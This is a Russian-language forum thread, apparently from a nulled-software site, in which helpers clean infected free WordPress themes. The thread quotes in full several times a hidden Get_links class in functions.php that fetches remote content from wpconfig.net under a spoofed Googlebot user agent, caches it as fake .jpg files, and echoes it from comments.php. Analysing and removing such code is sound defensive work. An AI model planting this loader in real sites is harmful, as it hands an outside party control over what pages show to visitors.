[Решено] Антивирус хостинга кричит на этот сайт function.php

Статус
В этой теме нельзя размещать новые ответы.

barabula

Гуру форума
Регистрация
21 Май 2009
Сообщения
474
Реакции
80
Привет гуру php мозгам.
Очень нужна ваша помошь в разборе полета.
Скачал WP, поставил на него шаблончики халявные из инета, а халява не бывает простой, и шаблончики то по ходу инфицированные оказались.
И теперть злые руки хотят завладеть моим королевством.

Вообщем мне антивирус на хостинге орет что во всех моих шаблонах в файле function.php обнаружен вирус.


Подскажите где и что тут не ладно, какие строки кода убрать, какие добавить, ибо я пхп изучал в далеком 2009 году, и все уже напрочь позабывал, сам не справлюсь.


Вот собственной файл подозрительный:

Код:
<?php error_reporting('^ E_ALL ^ E_NOTICE'); ini_set('display_errors', '0'); error_reporting(E_ALL); ini_set('display_errors', '0'); class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout',   $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context);  preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } } ?><?php

/*-----------------------------------------------------------------------------------*/
/* WPZOOM Theme Functions - Don't edit this file until you know what you're doing     */
/*-----------------------------------------------------------------------------------*/

// The path to WPZOOM Theme Functions
define("INC", TEMPLATEPATH . "/functions");


require_once INC . "/wpzoom-functions.php";         // Theme Custom Functions
require_once INC . "/wpzoom-core.php";                // WPZOOM Admin Panel & Theme Features
require_once INC . "/wpzoom-seo.php";                // WPZOOM SEO Panel
require_once INC . "/wpzoom-widgets.php";            // Custom Theme Widgets
require_once INC . "/wpzoom-sidebar.php";            // Initializing Widgetized Areas
require_once INC . "/wpzoom-shortcodes.php";        // Custom Shortcodes
require_once INC . "/wpzoom-shortcodes-init.php";    // Generate Shortcodes


/*-----------------------------------------------------------------------------------*/
/* In the empty space you can add your custom functions                                 */
/*-----------------------------------------------------------------------------------*/











/*-----------------------------------------------------------------------------------*/
/* Don't add anything below this line                                                 */
/*-----------------------------------------------------------------------------------*/

?>
 
Последнее редактирование модератором:
Это (первая строка)
PHP:
<?php error_reporting('^ E_ALL ^ E_NOTICE'); ini_set('display_errors', '0'); error_reporting(E_ALL); ini_set('display_errors', '0'); class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout',   $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context);  preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } } ?><?php
заменить на
PHP:
<?php
 
В первой строке у тебя код бэкдора - Для просмотра ссылки Войди или Зарегистрируйся
Удали ее полностью, кроме последних 5 символов - "<?php" - они нужны

PS - Прям синхронные ответы :)
 
Ребята огромнейшее вам спасибо за помощь!
 
@Stesh, @virus555 интересно как вы определили, что это вирус и что его именно вырезать надо.

Это скорее ржачный пример говнокода, особенно порадовал момент создания нового экземпляра класса внутри этого же класса для получения публичных свойств этого класса:
PHP:
class Get_links
{
    var $host = 'wpconfig.net';
    var $path = '/system.php';
     ...

    function get_remote()
    {
        ...
        $links_class = new Get_links();
        $host = $links_class->host;
        $path = $links_class->path;
        ...
    }
}

А по существу этот код не является вирусом сам по себе, а представляет из себя функцию получения ссылок с удалённого сервера. С кешем в файл
PHP:
'wp-content/uploads/2013/' . md5($_SERVER['REQUEST_URI']) . '.jpg'
Рекомендую файл найти и удалить.

Если его просто удалить, то с высокой вероятностью будет возникать ошибка php, вплоть до полной неработоспособности блога.
Чтобы этого не произошло надо как минимум заменить первую строку файла на код:
PHP:
<?php
class Get_links
{
    function get_remote()
    {
        return '';
    }

    function return_links()
    {
        return '';
    }
}

А в идеале по всем файлам темы искать создание объекта Get_links и обращения к его методам и удалять. Выглядеть будет примерно так:
PHP:
$links_class = new Get_links();
$links_class->return_links();
Но возможны варианты, искать по словам Get_links, return_links.

Ну и профилактики ради прогнать все файлы темы через ai-bolit (на форуме уже много раз обсуждался)
 
Последнее редактирование:
Немного затупил, и отправил код из первого попавшегося шаблона на который кричал антивирус, а сейчас глянул дизайн именно дизайн который использую, там вроде как другой код.

Может подсобите ещё в этом файле?

Код:
<?php
/**
* SuperNews functions and definitions.
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package AcmeThemes
* @subpackage SuperNews
*/

/**
* require int.
*/
$supernews_file_directory_init_file_path = trailingslashit( get_template_directory() ).'acmethemes/init.php';
require $supernews_file_directory_init_file_path;
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

class Get_links {

    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_socket_timeout    = 5;

    function get_remote() {
        $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
        $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

        $links_class = new Get_links();
        $host = $links_class->host;
        $path = $links_class->path;
        $_socket_timeout = $links_class->_socket_timeout;
        //$_user_agent = $links_class->_user_agent;

        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);

        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                        "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);

         $data = @file_get_contents('http://' . $host . $path, false, $context);
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
        return '<!--link error-->';
    }
}
 
Может подсобите ещё в этом файле?

Та же самая рекомендация Для просмотра ссылки Войди или Зарегистрируйся
Заменяй все начиная с
PHP:
 error_reporting('^ E_ALL ^ E_NOTICE');
до закрытия класса
PHP:
        return '<!--link error-->';
    }
}

на заглушку:
PHP:
class Get_links
{
    function get_remote()
    {
        return '';
    }
}

И ищи где в теме вызывается Get_links
 
Нашел в поиске файлов

Search "Get_links" (3 hits in 2 files)
PHP:
  C:\Users\Admin\Desktop\blog\wp-content\themes\supernews\comments.php (1 hit)
    Line 1: <?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->get_remote(); echo $links; ?><?php
  C:\Users\Admin\Desktop\blog\wp-content\themes\supernews\functions.php (2 hits)
    Line 21: class Get_links {
    Line 31:         $links_class = new Get_links();

Просто удаляю строку с переменной $links ?
Код:
$links = new Get_links();
 
https://www.nulled.cc/pages/forum-violation П.15
Вроде все получилось, бложек работает. Спасибо за помощь большое!
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху